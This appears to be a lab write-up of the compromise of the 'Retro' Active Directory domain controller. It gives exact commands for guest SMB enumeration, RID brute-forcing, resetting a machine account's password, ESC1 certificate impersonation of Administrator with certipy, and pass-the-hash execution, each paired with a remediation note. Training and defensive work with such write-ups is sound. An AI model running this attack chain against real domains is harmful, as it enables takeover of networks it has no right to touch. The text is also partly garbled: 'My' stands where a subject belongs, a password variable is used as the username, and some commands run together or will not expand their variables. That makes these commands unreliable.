Retro
Summary
My fully compromised the retro.vl domain controller (DC.retro.vl, $TARGET) by chaining four misconfigurations. The domain controller accepted the guest account with a blank password over SMB, letting me list shares and RID-cycle every domain account without credentials. A world-readable share (Trainees) held a note disclosing default [REDACTED: recovered credential] credentials; those credentials unlocked a second share (Notes) whose contents revealed the known default password of a pre-staged machine account, BANKING$.
Authenticated enumeration of Active Directory Certificate Services identified the RetroClients template as ESC1-vulnerable — any enrollee could supply an arbitrary Subject Alternative Name and SID. My reset BANKING$'s password, enrolled a certificate impersonating administrator@retro.vl with the Administrator's SID embedded for strong-mapping compliance, then authenticated via Kerberos PKINIT to recover the Administrator NT hash — achieving full Domain Admin control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nxc smb $TARGET -u 'guest' -p '' --sharesnxc smb $TARGET -u 'guest' -p '' --rid-brute 4000FixDisable SMB null-session and guest authentication on the domain controllerHigh
Exact commands 4
nxc smb $TARGET -u 'guest' -p '' -M spider_plus -o READ_ONLY=true DOWNLOAD_FLAG=falsemkdir -p /tmp/retro_smb/Trainees && smbclient //$TARGET/Trainees -U 'guest%' -c 'prompt off; recurse on; lcd /tmp/retro_smb/Trainees; mget *'cat /tmp/retro_smb/Trainees/Important.txtnxc smb $TARGET -u $PASSWORD -p $PASSWORD --sharesFixRemove credentials and sensitive information from shared network foldersCritical
Exact commands 2
mkdir -p /tmp/retro_smb/Notes && smbclient //$TARGET/Notes -U "RETRO.VL\$PASSWORD%$PASSWORD" -c 'prompt off; recurse on; lcd /tmp/retro_smb/Notes; mget *'certipy find -u $PASSWORD -p $PASSWORD -dc-ip $TARGET -vulnerable -stdoutExact commands 2
impacket-changepasswd 'retro.vl/BANKING$':$PASSWORD2@$TARGET -newpass '$PASSWORD3' -dc-ip $TARGET -protocol rpc-samrnxc smb $TARGET -u 'BANKING$' -p '$PASSWORD3' --sharesFixDelete or secure pre-staged machine accounts that carry known or predictable passwordsHigh
Exact commands 2
echo "$TARGET DC.retro.vl DC retro.vl" | sudo tee -a /etc/hostscertipy req -u 'BANKING$@retro.vl' -p '$PASSWORD3' -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -dc-ip $TARGETFixRemediate the ESC1 misconfiguration on the RetroClients ADCS certificate templateCritical
Exact commands 3
certipy auth -pfx administrator_sid.pfx -dc-ip $TARGET -domain retro.vlnxc smb $TARGET -u Administrator -H <NT_HASH> -x 'type C:\Users\Administrator\Desktop\root.txt'nxc smb $TARGET -u Administrator -H <NT_HASH> -x "type C:\Users\$PASSWORD\Desktop\user.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-07 01:56:51Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3269/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name) |
| 3389/tcp | ms-wbt-server Microsoft Terminal Services |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49664/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 53812/tcp | unknown recon-sweep-discovered |
| 55270/tcp | unknown recon-sweep-discovered |
| 55289/tcp | unknown recon-sweep-discovered |
| 60624/tcp | unknown recon-sweep-discovered |
| 60633/tcp | unknown recon-sweep-discovered |